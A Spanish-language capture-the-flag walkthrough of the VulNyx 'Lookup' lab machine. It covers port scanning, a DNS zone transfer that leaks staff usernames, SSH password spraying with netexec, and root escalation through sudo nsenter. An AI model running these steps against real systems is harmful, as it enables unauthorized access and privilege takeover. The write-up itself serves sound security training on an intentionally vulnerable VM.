Information

Lookup es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.47
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 11:55 +0200
Nmap scan report for 192.168.1.47
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
root@kali:~  nmap -sVC -p22,53,80 192.168.1.47
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 12:01 +0200
Nmap scan report for 192.168.1.47
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
|   256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_  256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open  domain  Eero device dnsd
| dns-nsid: 
|_  bind.version: not currently available
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Under Construction
|_http-server-header: Apache/2.4.38 (Debian)

Shell (m.bailey)

80/TCP (HTTP)

Site

Directory Brute Force
root@kali:~  gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.47/ -x html,txt,php
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.47/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 1519]
server-status        (Status: 403) [Size: 277]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================

53/TCP (DNS)

Reverse DNS Lookup

Realizo una resolución DNS inversa para comprobar si la dirección IP resuelve algún nombre de dominio.

root@kali:~  nslookup 192.168.1.47 192.168.1.47
47.1.168.192.in-addr.arpa	name = ns1.silvertech.nyx.

(Obtengo el dominio silvertech.nyx, lo agrego a mi archivo /etc/hosts para futuros ataques)

Zone Transfer (AXFR)

Obtengo varios subdominios que también agrego a mi archivo /etc/hosts.

root@kali:~  dig @192.168.1.47 silvertech.nyx axfr

; <<>> DiG 9.20.23-1-Debian <<>> @192.168.1.47 silvertech.nyx axfr
; (1 server found)
;; global options: +cmd
silvertech.nyx.		86400	IN	SOA	ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
silvertech.nyx.		86400	IN	NS	ns1.silvertech.nyx.
ceo.silvertech.nyx.	86400	IN	TXT	"a.miller@silvertech.nyx"
finance.silvertech.nyx.	86400	IN	TXT	"b.clark@silvertech.nyx"
hr.silvertech.nyx.	86400	IN	TXT	"m.bailey@silvertech.nyx"
it.silvertech.nyx.	86400	IN	TXT	"p.logan@silvertech.nyx"
it.silvertech.nyx.	86400	IN	TXT	"j.carter@silvertech.nyx"
it.silvertech.nyx.	86400	IN	TXT	"r.turner@silvertech.nyx"
it.silvertech.nyx.	86400	IN	TXT	"s.hughes@silvertech.nyx"
ns1.silvertech.nyx.	86400	IN	A	192.168.1.47
support.silvertech.nyx.	86400	IN	TXT	"p.hollen@silvertech.nyx"
www.silvertech.nyx.	86400	IN	A	192.168.1.47
silvertech.nyx.		86400	IN	SOA	ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.1.47#53(192.168.1.47) (TCP)
;; WHEN: Mon Jul 27 12:14:47 CEST 2026
;; XFR size: 13 records (messages 1, bytes 515)

Lo que realmente llama la atención son los nombres de usuario, que siguen el formato típico de una organización.

root@kali:~  dig @192.168.1.47 silvertech.nyx axfr | grep "TXT" | grep -oP '".*?"' | tr -d '"' | cut -d '@' -f 1 | tee users.dic
a.miller
b.clark
m.bailey
p.logan
j.carter
r.turner
s.hughes
p.hollen

(Guardo estos nombres de usuario en un archivo para utilizarlos en futuros ataques)

22/TCP (SSH)

Credentials Brute Force

En tenencia de una posible lista de usuarios, compruebo con netexec si alguno utiliza como password el nombre de otro miembro de la organización y obtengo éxito con las credenciales: m.bailey:b.clark.

root@kali:~  netexec ssh 192.168.1.47 -u users.dic -p users.dic                      
SSH         192.168.1.47    22     192.168.1.47     [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         192.168.1.47    22     192.168.1.47     [-] a.miller:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] b.clark:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] m.bailey:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] p.logan:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] j.carter:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] r.turner:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] s.hughes:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] p.hollen:a.miller
SSH         192.168.1.47    22     192.168.1.47     [-] a.miller:b.clark
SSH         192.168.1.47    22     192.168.1.47     [+] m.bailey:b.clark (Pwn3d!) Linux - Shell access!

Connect

Accedo al sistema como usuario m.bailey con las credenciales obtenidas.

root@kali:~  sshpass -p 'b.clark' ssh m.bailey@192.168.1.47 -o StrictHostKeyChecking=no 2>/dev/null
Linux lookup 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
m.bailey@lookup:~$ id ; hostname
uid=1000(m.bailey) gid=1000(m.bailey) grupos=1000(m.bailey)
lookup

Privilege Escalation

Enumeration

Sudo

El usuario m.bailey puede ejecutar como root el binario nsenter con sudo.

m.bailey@lookup:~$ sudo -l
Matching Defaults entries for m.bailey on lookup:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User m.bailey may run the following commands on lookup:
    (root) NOPASSWD: /usr/bin/nsenter

Abuse

Binary (nsenter)

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root.

nsenter /bin/sh

m.bailey@lookup:/$ sudo -u root /usr/bin/nsenter /bin/bash
root@lookup:/# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
lookup

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@lookup:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
523*****************************
d38*****************************

Hasta aquí la resolución de la máquina Lookup de VulNyx.

Happy Hacking! 🙂